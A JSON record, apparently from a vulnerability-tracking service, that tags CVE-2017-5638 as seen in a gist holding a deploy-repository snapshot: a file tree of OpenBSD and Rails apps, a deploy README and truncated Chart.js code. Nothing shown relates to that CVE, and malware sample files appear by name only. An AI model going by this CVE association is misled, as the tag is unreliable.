{"uuid": "fe4a42ed-e74f-4e60-b212-2ec0e290151f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-5638", "type": "seen", "source": "https://gist.github.com/anon987654321/05883f3bd80ccc687163c519b8241c2c", "content": "# DEPLOY Snapshot \u2014 2026-06-03T04:17:23Z\n\n## Tree\n```\nREADME.md\nbin/\nbp/\n  01_syre_footwear.js\n  04_pub_healthcare.js\n  IMPLEMENTATION_SUMMARY.md\n  README.md\n  govt_bergen.js\n  htu/\n  mg_footwear.yml\n  mg_space.yml\n  norwegianhedge.js\n  ragnhild.js\n  speis.js\n  syre.js\nburst.rb\ndilla/\n  README.md\n  dilla.rb\n  dilla_analog.rb\n  dilla_hiphop.rb\n  electronium.rb\n  make.rb\n  master.rb\n  stems/\n    manifest.json\n  techno_hate.rb\ndilla.rb\nmaster.json\nnmap.rb\nopenbsd/\n  README.md\n  _net.sh\n  backup_priv.sh\n  etc/\n    acme-client.conf\n    doas.conf\n    httpd.conf\n    login.conf\n    mail/\n      smtpd.conf\n    pf.conf\n    pf.stage1.conf\n    rc.d/\n    relayd.conf\n  openbsd.sh\n  sync.rb\n  usr/\n    local/\n      bin/\n        renew-certs.sh\npostpro/\n  postpro.rb\nquarantine/\n  virus_museum/\n    README.md\n    pklog.sh.txt\n    pouncekeys_setup.zsh.txt\nrails/\n  ARCHITECTURE_NOTES.md\n  LIVE_SEARCH_STANDARD.md\n  PRODUCTION_READINESS.md\n  README.md\n  amber/\n    ARCHITECTURE.md\n    Gemfile\n    README.md\n    STIMULUS_ROLLOUT.md\n    amber.sh\n    app/\n      assets/\n        builds/\n        stylesheets/\n      channels/\n        application_cable/\n          connection.rb\n      controllers/\n        ai_controller.rb\n        application_controller.rb\n        concerns/\n          authentication.rb\n        declutter_controller.rb\n        follows_controller.rb\n        home_controller.rb\n        items_controller.rb\n        outfits_controller.rb\n        passwords_controller.rb\n        planned_outfits_controller.rb\n        posts_controller.rb\n        registrations_controller.rb\n        sessions_controller.rb\n        users_controller.rb\n        wardrobe_items_controller.rb\n      helpers/\n        application_helper.rb\n      javascript/\n        application.js\n        controllers/\n          animated_number_controller.js\n          application.js\n          application_controller.js\n          auto_submit_controller.js\n          character_counter_controller.js\n          clipboard_controller.js\n          dialog_controller.js\n          dropdown_controller.js\n          filter_controller.js\n          hello_controller.js\n          index.js\n          notification_controller.js\n          sortable_controller.js\n          textarea_autogrow_controller.js\n          timeago_controller.js\n          wardrobe_carousel_controller.js\n      jobs/\n        calculate_sustainability_job.rb\n        embed_garment_job.rb\n        recommend_outfits_job.rb\n        remove_background_job.rb\n        segment_garment_image_job.rb\n        wardrobe_media_job.rb\n      mailers/\n        passwords_mailer.rb\n      models/\n        affiliate_link.rb\n        consent_event.rb\n        creator_profile.rb\n        creator_wardrobe_item.rb\n        current.rb\n        declutter_challenge.rb\n        declutter_outcome.rb\n        declutter_review.rb\n        follow.rb\n        garment_embedding.rb\n        identity_verification.rb\n        item.rb\n        outfit.rb\n        outfit_item.rb\n        packing_list.rb\n        packing_list_item.rb\n        planned_outfit.rb\n        post.rb\n        privacy_setting.rb\n        profile.rb\n        recommendation.rb\n        session.rb\n        style_preference.rb\n        style_profile.rb\n        sustainability_metric.rb\n        user.rb\n        wardrobe_item.rb\n        wear_log.rb\n      reflexes/\n        application_reflex.rb\n      services/\n        capsule_builder_service.rb\n        declutter_action_router.rb\n        declutter_dashboard_service.rb\n        declutter_score_service.rb\n        duplicate_detector_service.rb\n        garment_taxonomy.rb\n        last_chance_outfit_service.rb\n        outfit_compatibility_service.rb\n        outfit_ordering.rb\n        wardrobe_ai_service.rb\n        wardrobe_gap_service.rb\n        wardrobe_visibility_policy.rb\n        weather_service.rb\n      views/\n        ai/\n          _analysis.html.erb\n          _item_tags.html.erb\n          capsule.html.erb\n          color_palette.html.erb\n          declutter_guide.html.erb\n          mood_board.html.erb\n          occasion_map.html.erb\n          packing_list.html.erb\n          search.html.erb\n          style_profile.html.erb\n          suggest_outfits.html.erb\n        declutter/\n          index.html.erb\n          review.html.erb\n        home/\n          index.html.erb\n        items/\n          _form.html.erb\n          _item.html.erb\n          edit.html.erb\n          index.html.erb\n          new.html.erb\n          shopping_list.html.erb\n          show.html.erb\n        layouts/\n          application.html.erb\n          mailer.html.erb\n          mailer.text.erb\n        outfits/\n          _form.html.erb\n          _outfit.html.erb\n          dressing_room.html.erb\n          edit.html.erb\n          index.html.erb\n          new.html.erb\n          show.html.erb\n        passwords/\n          edit.html.erb\n          new.html.erb\n        passwords_mailer/\n          reset.html.erb\n          reset.text.erb\n        planned_outfits/\n          index.html.erb\n        posts/\n          _post.html.erb\n          feed.html.erb\n          index.html.erb\n          new.html.erb\n          show.html.erb\n        pwa/\n          manifest.json.erb\n          service-worker.js\n        registrations/\n          new.html.erb\n        sessions/\n          new.html.erb\n        shared/\n          _errors.html.erb\n          _flash.html.erb\n          _logo.html.erb\n          _pagination.html.erb\n        users/\n          show.html.erb\n        wardrobe_items/\n          _form.html.erb\n          edit.html.erb\n          index.html.erb\n          new.html.erb\n    bin/\n    config/\n      application.rb\n      cable.yml\n      cache.yml\n      database.yml\n      deploy.yml\n      environments/\n        production.rb\n      falcon.rb\n      importmap.rb\n      initializers/\n        requires.rb\n      puma.rb\n      queue.yml\n      recurring.yml\n      routes.rb\n    db/\n      cable_schema.rb\n      cache_schema.rb\n      migrate/\n        20260504180350_create_users.rb\n        20260504180352_create_sessions.rb\n        20260504180357_create_active_storage_tables.active_storage.rb\n        20260504180401_create_items.rb\n        20260504180405_create_outfit_items.rb\n        20260504180406_create_planned_outfits.rb\n        20260504180410_add_extended_fields_to_items.rb\n        20260504205505_create_outfits.rb\n        20260504211952_create_follows.rb\n        20260504212306_create_posts.rb\n        20260515000100_add_amber_identity_and_intelligence.rb\n        20260515000200_add_declutter_logic.rb\n      queue_schema.rb\n      schema.rb\n      seeds.rb\n    test/\n      deploy/\n        amber_script_test.rb\n      models/\n        item_test.rb\n      services/\n        wardrobe_ai_service_test.rb\n      test_helper.rb\n  apps.yml\n  baibl/\n    Gemfile\n    README.md\n    app/\n      assets/\n        stylesheets/\n      controllers/\n        application_controller.rb\n        bookmarks_controller.rb\n        concerns/\n          authentication.rb\n        highlights_controller.rb\n        passwords_controller.rb\n        scriptures_controller.rb\n        sessions_controller.rb\n      javascript/\n        application.js\n        controllers/\n          animated_number_controller.js\n          application.js\n          application_controller.js\n          auto_submit_controller.js\n          character_counter_controller.js\n          clipboard_controller.js\n          dialog_controller.js\n          dropdown_controller.js\n          hello_controller.js\n          index.js\n          notification_controller.js\n          sortable_controller.js\n          textarea_autogrow_controller.js\n          timeago_controller.js\n          word_study_controller.js\n      jobs/\n        analysis_job.rb\n      models/\n        annotation.rb\n        book.rb\n        bookmark.rb\n        chapter.rb\n        cross_reference.rb\n        current.rb\n        highlight.rb\n        reading_plan.rb\n        reading_plan_day.rb\n        session.rb\n        user.rb\n        verse.rb\n        word_study.rb\n      reflexes/\n        application_reflex.rb\n      services/\n        scripture_search.rb\n      views/\n        bookmarks/\n          index.html.erb\n        highlights/\n          create.turbo_stream.erb\n          destroy.turbo_stream.erb\n        layouts/\n          application.html.erb\n          mailer.html.erb\n          mailer.text.erb\n        passwords/\n          edit.html.erb\n          new.html.erb\n        pwa/\n          manifest.json.erb\n          service-worker.js\n        scriptures/\n          _word_study.html.erb\n          book.html.erb\n          chapter.html.erb\n          index.html.erb\n          search.html.erb\n        sessions/\n          new.html.erb\n    baibl.sh\n    bin/\n    config/\n      application.rb\n      cable.yml\n      database.yml\n      deploy.yml\n      environments/\n        production.rb\n      importmap.rb\n      puma.rb\n      routes.rb\n    db/\n      migrate/\n        20260501020807_create_users.rb\n        20260501020818_create_sessions.rb\n        20260507120001_create_books.rb\n        20260507120002_create_chapters.rb\n        20260507120003_create_verses.rb\n        20260507120004_create_highlights.rb\n        20260507120005_create_bookmarks.rb\n        20260507120006_create_reading_plans.rb\n        20260507120007_create_reading_plan_days.rb\n        20260507120008_create_cross_references.rb\n        20260507120009_create_word_studies.rb\n        20260528000100_create_verses_fts.rb\n      seeds.rb\n  blognet/\n    Gemfile\n    README.md\n    app/\n      assets/\n        stylesheets/\n      channels/\n        application_cable/\n          connection.rb\n      controllers/\n        application_controller.rb\n        blogs_controller.rb\n        comments_controller.rb\n        concerns/\n          authentication.rb\n        passwords_controller.rb\n        posts_controller.rb\n        sessions_controller.rb\n      javascript/\n        application.js\n        controllers/\n          animated_number_controller.js\n          application.js\n          application_controller.js\n          auto_submit_controller.js\n          character_counter_controller.js\n          clipboard_controller.js\n          dialog_controller.js\n          dropdown_controller.js\n          hello_controller.js\n          index.js\n          notification_controller.js\n          sortable_controller.js\n          textarea_autogrow_controller.js\n          timeago_controller.js\n      mailers/\n        passwords_mailer.rb\n      models/\n        blog.rb\n        categorization.rb\n        category.rb\n        comment.rb\n        current.rb\n        post.rb\n        session.rb\n        tag.rb\n        tagging.rb\n        user.rb\n      reflexes/\n        application_reflex.rb\n      views/\n        active_storage/\n          blobs/\n            _blob.html.erb\n        blogs/\n          _form.html.erb\n          edit.html.erb\n          index.html.erb\n          new.html.erb\n          show.html.erb\n        comments/\n          _comment.html.erb\n        layouts/\n          action_text/\n            contents/\n              _content.html.erb\n          application.html.erb\n          mailer.html.erb\n          mailer.text.erb\n        passwords/\n          edit.html.erb\n          new.html.erb\n        passwords_mailer/\n          reset.html.erb\n          reset.text.erb\n        posts/\n          _form.html.erb\n          edit.html.erb\n          index.html.erb\n          new.html.erb\n          show.html.erb\n        pwa/\n          manifest.json.erb\n          service-worker.js\n        sessions/\n          new.html.erb\n    bin/\n    blognet.sh\n    config/\n      application.rb\n      cable.yml\n      cache.yml\n      database.yml\n      deploy.yml\n      environments/\n        production.rb\n      importmap.rb\n      puma.rb\n      queue.yml\n      recurring.yml\n      routes.rb\n    db/\n      cable_schema.rb\n      cache_schema.rb\n      migrate/\n        20260501020807_create_users.rb\n        20260501020818_create_sessions.rb\n        20260501020848_create_active_storage_tables.active_storage.rb\n        20260501020920_create_action_text_tables.action_text.rb\n        20260507120001_create_blogs.rb\n        20260507120002_create_posts.rb\n        20260507120003_create_categories.rb\n        20260507120004_create_categorizations.rb\n        20260507120005_create_comments.rb\n        20260507120006_create_tags.rb\n        20260507120007_create_taggings.rb\n      queue_schema.rb\n      schema.rb\n      seeds.rb\n  brgen/\n    Gemfile\n    README.md\n    STIMULUS_ROLLOUT.md\n    app/\n      assets/\n        stylesheets/\n      channels/\n        application_cable/\n          channel.rb\n          connection.rb\n      controllers/\n        activity_events_controller.rb\n        application_controller.rb\n        comments_controller.rb\n        communities_controller.rb\n        concerns/\n          authentication.rb\n        conversations_controller.rb\n        dating/\n          base_controller.rb\n          dislikes_controller.rb\n          home_controller.rb\n          likes_controller.rb\n          matches_controller.rb\n          profiles_controller.rb\n        email_subscriptions_controller.rb\n        follows_controller.rb\n        home_controller.rb\n        locations_controller.rb\n        maps/\n          base_controller.rb\n          home_controller.rb\n          places_controller.rb\n        marketplace/\n          base_controller.rb\n          carts_controller.rb\n          categories_controller.rb\n          deals_controller.rb\n          favorites_controller.rb\n          listings_controller.rb\n          orders_controller.rb\n          saved_searches_controller.rb\n          stores_controller.rb\n        messages_controller.rb\n        nearby_controller.rb\n        notifications_controller.rb\n        passwords_controller.rb\n        playlist/\n          audio_versions_controller.rb\n          base_controller.rb\n          collaborations_controller.rb\n          dilla_sketches_controller.rb\n          hosted_tracks_controller.rb\n          listens_controller.rb\n          playlists_controller.rb\n          sets_controller.rb\n          timestamped_comments_controller.rb\n          tracks_controller.rb\n        playlist_controller.rb\n        posts_controller.rb\n        push_subscriptions_controller.rb\n        reactions_controller.rb\n        reports_controller.rb\n        sessions_controller.rb\n        takeaway/\n          base_controller.rb\n          delivery_drivers_controller.rb\n          favorite_restaurants_controller.rb\n          menu_items_controller.rb\n          orders_controller.rb\n          restaurants_controller.rb\n          reviews_controller.rb\n        tv/\n          base_controller.rb\n          channels_controller.rb\n          comments_controller.rb\n          home_controller.rb\n          live_streams_controller.rb\n          stream_chats_controller.rb\n          video_notes_controller.rb\n          videos_controller.rb\n        typing_indicators_controller.rb\n        votes_controller.rb\n      javascript/\n        application.js\n        controllers/\n          animated_number_controller.js\n          application.js\n          application_controller.js\n          auto_submit_controller.js\n          character_counter_controller.js\n          clipboard_controller.js\n          dialog_controller.js\n          dropdown_controller.js\n          futurism_load_more_controller.js\n          geolocation_controller.js\n          hello_controller.js\n          index.js\n          lightbox_controller.js\n          media_picker_controller.js\n          notification_controller.js\n          push_controller.js\n          share_controller.js\n          sortable_controller.js\n          textarea_autogrow_controller.js\n          timeago_controller.js\n          typing_controller.js\n          typing_input_controller.js\n      jobs/\n        notification_delivery_job.rb\n        postpro_job.rb\n      mailers/\n        email_subscription_mailer.rb\n        newsletter_mailer.rb\n        passwords_mailer.rb\n      models/\n        account_merge.rb\n        activity_event.rb\n        city.rb\n        comment.rb\n        community.rb\n        concerns/\n          commentable.rb\n          mentionable.rb\n          pushable.rb\n          taggable.rb\n          votable.rb\n        conversation.rb\n        conversation_participant.rb\n        current.rb\n        dating/\n          dislike.rb\n          like.rb\n          match.rb\n          profile.rb\n        dating.rb\n        email_subscription.rb\n        external_identity.rb\n        follow.rb\n        hashtag.rb\n        identity_assurance.rb\n        identity_provider.rb\n        marketplace/\n          category.rb\n          deal.rb\n          listing.rb\n          listing_favorite.rb\n          order.rb\n          saved_search.rb\n          store.rb\n        marketplace.rb\n        mention.rb\n        message.rb\n        message_receipt.rb\n        moderation_flag.rb\n        moderation_report.rb\n        neighborhood.rb\n        notification.rb\n        place.rb\n        playlist/\n          audio_version.rb\n          collaboration.rb\n          dilla_sketch.rb\n          like.rb\n          listen.rb\n          playlist.rb\n          playlist_track.rb\n          set.rb\n          set_track.rb\n          timestamped_comment.rb\n          track.rb\n        playlist.rb\n        post.rb\n        push_subscription.rb\n        reaction.rb\n        reputation_score.rb\n        session.rb\n        stream.rb\n        tagging.rb\n        takeaway/\n          delivery_driver.rb\n          favorite_restaurant.rb\n          menu_item.rb\n          order.rb\n          order_item.rb\n          restaurant.rb\n          review.rb\n        takeaway.rb\n        trust_signal.rb\n        tv/\n          broadcast.rb\n          channel.rb\n          comment.rb\n          live_stream.rb\n          stream_chat.rb\n          subscription.rb\n          video.rb\n          video_note.rb\n          view_event.rb\n        tv.rb\n        typing_indicator.rb\n        user.rb\n        vote.rb\n      reflexes/\n        application_reflex.rb\n        paginate_reflex.rb\n        vote_reflex.rb\n      services/\n        account_merge_service.rb\n        activity_event_recorder.rb\n        dating/\n          matchmaking_service.rb\n        follow_toggle.rb\n        identity_assurance_service.rb\n        reaction_toggle.rb\n        scrape.rb\n        thread_summarizer.rb\n        tradedoubler.rb\n        trust_score_calculator.rb\n      views/\n        activity_events/\n          index.html.erb\n        comments/\n          _comment.html.erb\n        communities/\n          index.html.erb\n          new.html.erb\n          show.html.erb\n        conversations/\n          index.html.erb\n          show.html.erb\n        dating/\n          home/\n            index.html.erb\n          matches/\n            index.html.erb\n          profiles/\n            edit.html.erb\n            new.html.erb\n            show.html.erb\n        email_subscription_mailer/\n          confirm.html.erb\n          confirm.text.erb\n        follows/\n          create.turbo_stream.erb\n        home/\n          index.html.erb\n        layouts/\n          application.html.erb\n          mailer.html.erb\n          mailer.text.erb\n        maps/\n          home/\n            index.html.erb\n        marketplace/\n          carts/\n            show.html.erb\n          categories/\n            show.html.erb\n          deals/\n            index.html.erb\n            show.html.erb\n          listings/\n            _card.html.erb\n            edit.html.erb\n            index.html.erb\n            new.html.erb\n            show.html.erb\n          saved_searches/\n            index.html.erb\n          stores/\n            _form.html.erb\n            index.html.erb\n            new.html.erb\n            show.html.erb\n        messages/\n          _message.html.erb\n          create.turbo_stream.erb\n          new.html.erb\n        nearby/\n          _alert.html.erb\n          index.html.erb\n        newsletter_mailer/\n          weekly_deals.html.erb\n        notifications/\n          _notification.html.erb\n          index.html.erb\n          read_all.turbo_stream.erb\n          update.turbo_stream.erb\n        passwords/\n          edit.html.erb\n          new.html.erb\n        passwords_mailer/\n          reset.html.erb\n          reset.text.erb\n        playlist/\n          index.html.erb\n          playlists/\n            edit.html.erb\n            index.html.erb\n            new.html.erb\n            show.html.erb\n          sets/\n            _form.html.erb\n            edit.html.erb\n            index.html.erb\n            new.html.erb\n            show.html.erb\n        posts/\n          _post.html.erb\n          edit.html.erb\n          index.html.erb\n          new.html.erb\n          show.html.erb\n        pwa/\n          manifest.json.erb\n          service-worker.js\n        reactions/\n          create.turbo_stream.erb\n        reports/\n          create.turbo_stream.erb\n        sessions/\n          new.html.erb\n        shared/\n          _affiliate_deals.html.erb\n          _email_subscribe.html.erb\n          _follow_button.html.erb\n          _media_gallery.html.erb\n          _reaction_bar.html.erb\n          _report_button.html.erb\n          _vote.html.erb\n        takeaway/\n          delivery_drivers/\n            index.html.erb\n            show.html.erb\n          orders/\n            index.html.erb\n            new.html.erb\n            show.html.erb\n          restaurants/\n            edit.html.erb\n            index.html.erb\n            new.html.erb\n            show.html.erb\n        tv/\n          channels/\n            edit.html.erb\n            index.html.erb\n            new.html.erb\n            show.html.erb\n          home/\n            index.html.erb\n          live_streams/\n            index.html.erb\n            new.html.erb\n            show.html.erb\n          videos/\n            _tv_video.html.erb\n            new.html.erb\n            show.html.erb\n        typing_indicators/\n          _indicator.html.erb\n        votes/\n          create.turbo_stream.erb\n    bin/\n    brgen.sh\n    brgen_AUTH.md\n    brgen_CORE.md\n    brgen_DOMAIN_MATRIX.md\n    config/\n      application.rb\n      cable.yml\n      cache.yml\n      database.yml\n      deploy.yml\n      environments/\n        production.rb\n      falcon.rb\n      importmap.rb\n      puma.rb\n      queue.yml\n      recurring.yml\n      routes.rb\n    db/\n      cable_schema.rb\n      cache_schema.rb\n      migrate/\n        20260311162114_create_users.rb\n        20260311162121_create_sessions.rb\n        20260311162206_create_communities.rb\n        20260311162227_create_reactions.rb\n        20260311162235_create_streams.rb\n        20260311162345_create_posts.rb\n        20260311162350_create_comments.rb\n        20260311162355_add_fields_to_users.rb\n        20260311163039_create_votes.rb\n        20260311163634_create_follows.rb\n        20260311163641_create_hashtags.rb\n        20260311163648_create_taggings.rb\n        20260311163655_create_mentions.rb\n        20260311164112_create_conversations.rb\n        20260311164119_create_conversation_participants.rb\n        20260311164127_create_messages.rb\n        20260311164134_create_message_receipts.rb\n        20260311164141_create_typing_indicators.rb\n        20260311165000_add_guest_to_users.rb\n        20260311221744_add_user_description_to_communities.rb\n        20260505002649_create_tv_channels.rb\n        20260505002659_create_tv_videos.rb\n        20260505002711_create_tv_broadcasts.rb\n        20260505002719_create_tv_subscriptions.rb\n        20260505002729_create_tv_view_events.rb\n        20260505014447_create_dating_profiles.rb\n        20260505014452_create_dating_likes.rb\n        20260505014457_create_dating_dislikes.rb\n        20260505014503_create_dating_matches.rb\n        20260505015400_create_playlist_playlists.rb\n        20260505015406_create_playlist_tracks.rb\n        20260505015411_create_playlist_playlist_tracks.rb\n        20260505015416_create_playlist_listens.rb\n        20260505015440_create_takeaway_restaurants.rb\n        20260505015446_create_takeaway_menu_items.rb\n        20260505015451_create_takeaway_orders.rb\n        20260505015456_create_takeaway_order_items.rb\n        20260505015518_create_marketplace_categories.rb\n        20260505015523_create_marketplace_listings.rb\n        20260505015530_create_marketplace_orders.rb\n        20260514120000_create_identity_and_trust_primitives.rb\n        20260514121000_create_locality_primitives.rb\n        20260517142629_add_location_to_users.rb\n        20260517144635_create_push_subscriptions.rb\n        20260517150650_create_active_storage_tables.rb\n        20260517155314_create_email_subscriptions.rb\n        20260524001000_create_brgen_restored_subapp_tables.rb\n        20260524001300_create_marketplace_stores.rb\n        20260524001400_create_marketplace_deals.rb\n        20260524103100_create_marketplace_listing_favorites.rb\n        20260524103200_create_tv_comments.rb\n        20260524104000_create_activity_events.rb\n        20260524104100_create_marketplace_saved_searches.rb\n        20260524104200_create_notifications.rb\n        20260524104300_create_moderation_reports.rb\n        20260524104500_create_takeaway_favorite_restaurants.rb\n        20260524113000_create_brgen_social_tables.rb\n        20260528000100_create_posts_fts.rb\n        20260528000200_create_playlist_set_tracks.rb\n        20260528000300_add_delivery_driver_to_takeaway_orders.rb\n        20260529000000_add_marketing_consent_to_email_subscriptions.rb\n        20260602123000_create_takeaway_reviews.rb\n        20260602140000_add_collaborative_to_playlist_playlists.rb\n        20260602150000_add_neighborhood_to_dating_profiles.rb\n        20260602160000_create_playlist_dilla_sketches.rb\n        20260602170000_add_thread_summary_to_comments.rb\n      queue_schema.rb\n      schema.rb\n      seeds.rb\n    domains.yml\n    lib/\n      brgen/\n        city_seed.rb\n        domain_registry.rb\n        seed_cities.rb\n      tasks/\n    public/\n      fonts/\n      images/\n    test/\n      test_helper.rb\n  bsdports/\n    Gemfile\n    README.md\n    STIMULUS_ROLLOUT.md\n    app/\n      assets/\n        images/\n        stylesheets/\n      controllers/\n        application_controller.rb\n        categories_controller.rb\n        comments_controller.rb\n        concerns/\n          authentication.rb\n        maintainers_controller.rb\n        passwords_controller.rb\n        ports_controller.rb\n        sessions_controller.rb\n      javascript/\n        application.js\n        controllers/\n          animated_number_controller.js\n          application.js\n          application_controller.js\n          auto_submit_controller.js\n          character_counter_controller.js\n          clipboard_controller.js\n          dialog_controller.js\n          dropdown_controller.js\n          hello_controller.js\n          index.js\n          notification_controller.js\n          sortable_controller.js\n          textarea_autogrow_controller.js\n          timeago_controller.js\n      jobs/\n        ports_import_job.rb\n      models/\n        category.rb\n        comment.rb\n        current.rb\n        dependency.rb\n        installation.rb\n        maintainer.rb\n        port.rb\n        port_update.rb\n        review.rb\n        security_advisory.rb\n        session.rb\n        user.rb\n        watch.rb\n      reflexes/\n        application_reflex.rb\n      services/\n        nvd_cve_service.rb\n        ports_search.rb\n      views/\n        categories/\n          index.html.erb\n          show.html.erb\n        comments/\n          _comment.html.erb\n        layouts/\n          application.html.erb\n          mailer.html.erb\n          mailer.text.erb\n        maintainers/\n          index.html.erb\n          show.html.erb\n        passwords/\n          edit.html.erb\n          new.html.erb\n        ports/\n          index.html.erb\n          show.html.erb\n        pwa/\n          manifest.json.erb\n          service-worker.js\n        sessions/\n          new.html.erb\n    bin/\n    bsdports.sh\n    config/\n      application.rb\n      cable.yml\n      database.yml\n      deploy.yml\n      environments/\n        production.rb\n      importmap.rb\n      puma.rb\n      routes.rb\n    db/\n      migrate/\n        20260501020807_create_users.rb\n        20260501020818_create_sessions.rb\n        20260507120001_create_categories.rb\n        20260507120002_create_ports.rb\n        20260507120003_create_dependencies.rb\n        20260507120004_create_port_updates.rb\n        20260507120005_create_watches.rb\n        20260507120006_create_comments.rb\n        20260528000100_create_ports_fts.rb\n        20260602123000_create_security_advisories.rb\n        20260603123000_create_maintainers.rb\n        20260603123001_add_maintainer_to_ports.rb\n      seeds.rb\n    lib/\n      tasks/\n  check_ports.sh\n  check_production_gate.rb\n  hjerterom/\n    Gemfile\n    README.md\n    app/\n      assets/\n        stylesheets/\n      controllers/\n        application_controller.rb\n        boxes_controller.rb\n        community_controller.rb\n        concerns/\n          authentication.rb\n        donations_controller.rb\n        food_listings_controller.rb\n        food_requests_controller.rb\n        home_controller.rb\n        passwords_controller.rb\n        resources_controller.rb\n        sessions_controller.rb\n        shifts_controller.rb\n        volunteers_controller.rb\n      javascript/\n        application.js\n        controllers/\n          animated_number_controller.js\n          application.js\n          application_controller.js\n          auto_submit_controller.js\n          character_counter_controller.js\n          clipboard_controller.js\n          dialog_controller.js\n          dropdown_controller.js\n          hello_controller.js\n          index.js\n          notification_controller.js\n          sortable_controller.js\n          textarea_autogrow_controller.js\n          timeago_controller.js\n        hjerterom_map.js\n      models/\n        beneficiary.rb\n        box.rb\n        category.rb\n        comment.rb\n        crisis.rb\n        current.rb\n        donation.rb\n        donor.rb\n        food_item.rb\n        food_listing.rb\n        food_request.rb\n        post.rb\n        resource.rb\n        session.rb\n        shift.rb\n        support_request.rb\n        user.rb\n        volunteer.rb\n      reflexes/\n        application_reflex.rb\n      views/\n        boxes/\n          _box.html.erb\n          _form.html.erb\n          create.turbo_stream.erb\n          edit.html.erb\n          index.html.erb\n          new.html.erb\n          show.html.erb\n          update.turbo_stream.erb\n        community/\n          index.html.erb\n          new.html.erb\n          show.html.erb\n        donations/\n          _form.html.erb\n          edit.html.erb\n          index.html.erb\n          new.html.erb\n          show.html.erb\n        food_listings/\n          _form.html.erb\n          edit.html.erb\n          index.html.erb\n          new.html.erb\n          show.html.erb\n        food_requests/\n          update.turbo_stream.erb\n        home/\n          index.html.erb\n        layouts/\n          application.html.erb\n          mailer.html.erb\n          mailer.text.erb\n        passwords/\n          edit.html.erb\n          new.html.erb\n        pwa/\n          manifest.json.erb\n          service-worker.js\n        resources/\n          _form.html.erb\n          edit.html.erb\n          index.html.erb\n          new.html.erb\n          show.html.erb\n        sessions/\n          new.html.erb\n        shared/\n          _logo.html.erb\n        shifts/\n          _form.html.erb\n          _shift.html.erb\n          create.turbo_stream.erb\n          index.html.erb\n          update.turbo_stream.erb\n        volunteers/\n          _form.html.erb\n          _volunteer.html.erb\n          _volunteer_details.html.erb\n          create.turbo_stream.erb\n          edit.html.erb\n          index.html.erb\n          new.html.erb\n          show.html.erb\n          update.turbo_stream.erb\n    bin/\n    config/\n      application.rb\n      cable.yml\n      database.yml\n      deploy.yml\n      environments/\n        production.rb\n      importmap.rb\n      puma.rb\n      routes.rb\n    db/\n      migrate/\n        20260501020807_create_users.rb\n        20260501020818_create_sessions.rb\n        20260507120001_create_categories.rb\n        20260507120002_create_resources.rb\n        20260507120003_create_crises.rb\n        20260507120004_create_food_listings.rb\n        20260507120005_create_food_requests.rb\n        20260507120006_create_posts.rb\n        20260507120007_create_comments.rb\n        20260507120008_create_support_requests.rb\n        20260524000100_create_hjerterom_core.rb\n      seeds.rb\n    hjerterom.sh\n  marketplace/\n    app/\n      controllers/\n        marketplace/\n          listings_controller.rb\n      views/\n        marketplace/\n          listings/\n            index.html.erb\n  shared/\n    Rakefile\n    WIRING_NOTES.md\n    app/\n      controllers/\n        concerns/\n          shared/\n            actor_identity.rb\n            live_searchable.rb\n            media_guard.rb\n            structured_events.rb\n        shared/\n          notifications_controller.rb\n          reactions_controller.rb\n          review_cases_controller.rb\n      helpers/\n        application_helper.rb\n        schema_helper.rb\n      jobs/\n        application_job.rb\n        shared/\n          media_processing_job.rb\n      mailers/\n        application_mailer.rb\n      models/\n        application_record.rb\n        concerns/\n          shared/\n            followable.rb\n            reactable.rb\n        shared/\n          chat_message.rb\n          follow.rb\n          notification.rb\n          post.rb\n          reaction.rb\n          review_case.rb\n      services/\n        shared/\n          event_emitter.rb\n          frontend_auditor.rb\n          frontend_rule_set.rb\n          live_search.rb\n          reaction_toggle.rb\n      views/\n        shared/\n          _copyable.html.erb\n          _futurism_pagy_list.html.erb\n          _minimal_ui.html.erb\n    bin/\n    config/\n      boot.rb\n      bundler-audit.yml\n      ci.rb\n      environment.rb\n      environments/\n        development.rb\n        test.rb\n      initializers/\n        assets.rb\n        content_security_policy.rb\n        filter_parameter_logging.rb\n        inflections.rb\n        pagy.rb\n        ruby_llm.rb\n      locales/\n        en.yml\n      storage.yml\n    db/\n      migrate/\n        20260524000200_create_shared_social_tables.rb\n    deploy/\n      @shared_functions.sh\n    frontend/\n      LLM_SAFE_FRONTEND_RULES.md\n      STIMULUS_COMPONENTS_BASELINE.md\n      examples.html.erb\n      layouts/\n        _flash.html.erb\n        _footer.html.erb\n        _meta.html.erb\n        _nav.html.erb\n        application.html.erb\n        visualizer.js\n      minimal-gesture.js\n      stimulus_components.js\n    install_frontend_baseline.sh\n    public/\n      robots.txt\n      styles/\n  test_check_ports.sh\nrepligen.rb\nsh/\n  backup.sh\n  clean.sh\n  deploy_all.sh\n  fix_passwords.zsh\n  free_up_space.sh\n  lint.sh\n  open_in_vim.zsh\n  perms.sh\n  replace.sh\n  restore_backups.sh\n  tools/\n    apartments.rb\n    convert_python.rb\n    key_bindings.zsh\n    tree.rb\n    vulcheck.rb\n  tree.sh\n  watch_tests.sh\nstipple.rb\nverify_deploy_identity.rb\n```\n\n## `README.md`\n```markdown\n# DEPLOY\n\nDeploy scripts for all pub4 services on OpenBSD 7.8.\n\n## Layout\n\n```\nDEPLOY/\n  openbsd/    Full VPS stack (pf, relayd, httpd, smtpd, nsd, masterweb)\n  rails/      Rails app deploy scripts per project\n```\n\n## OpenBSD\n\nTwo-stage deploy \u2014 run from tmux:\n\n```zsh\ntmux new-session -d -s deploy \"doas zsh DEPLOY/openbsd/openbsd.sh 2&gt;&amp;1 | tee /tmp/deploy.log\"\n```\n\nStage 1: DNS checks, TLS certs (acme-client), pkg_add.\nStage 2: app installs, relayd config, rc.d services.\n\nResume interrupted run: `doas zsh openbsd.sh --resume`\n\n## Rails\n\nEach subdirectory contains a deploy script for one app:\n\n```\nrails/\n  amber/       amber.sh\n  baibl/       baibl.sh\n  blognet/     blognet.sh\n  brgen/       brgen*.sh\n  bsdports/    bsdports.sh\n  hjerterom/   hjerterom.sh\n  privcam/     privcam.sh\n  __shared/    Common utilities and feature modules\n```\n```\n\n## `bp/01_syre_footwear.js`\n```javascript\n// Initialize Chart.js charts here\n```\n\n## `bp/04_pub_healthcare.js`\n```javascript\n// Chart.js visualizations for ECharts-style data presentation\n\n    // 1. Medication Production Timeline (24-hour cycle)\n    const timelineCtx = document.getElementById('timelineChart');\n    if (timelineCtx) {\n\n      new Chart(timelineCtx, {\n\n        type: 'bar',\n        data: {\n\n          labels: ['Prescription\\n\\nReceived', 'AI Recipe\\n\\nOptimization', 'Synthesis\\n\\nExecution', 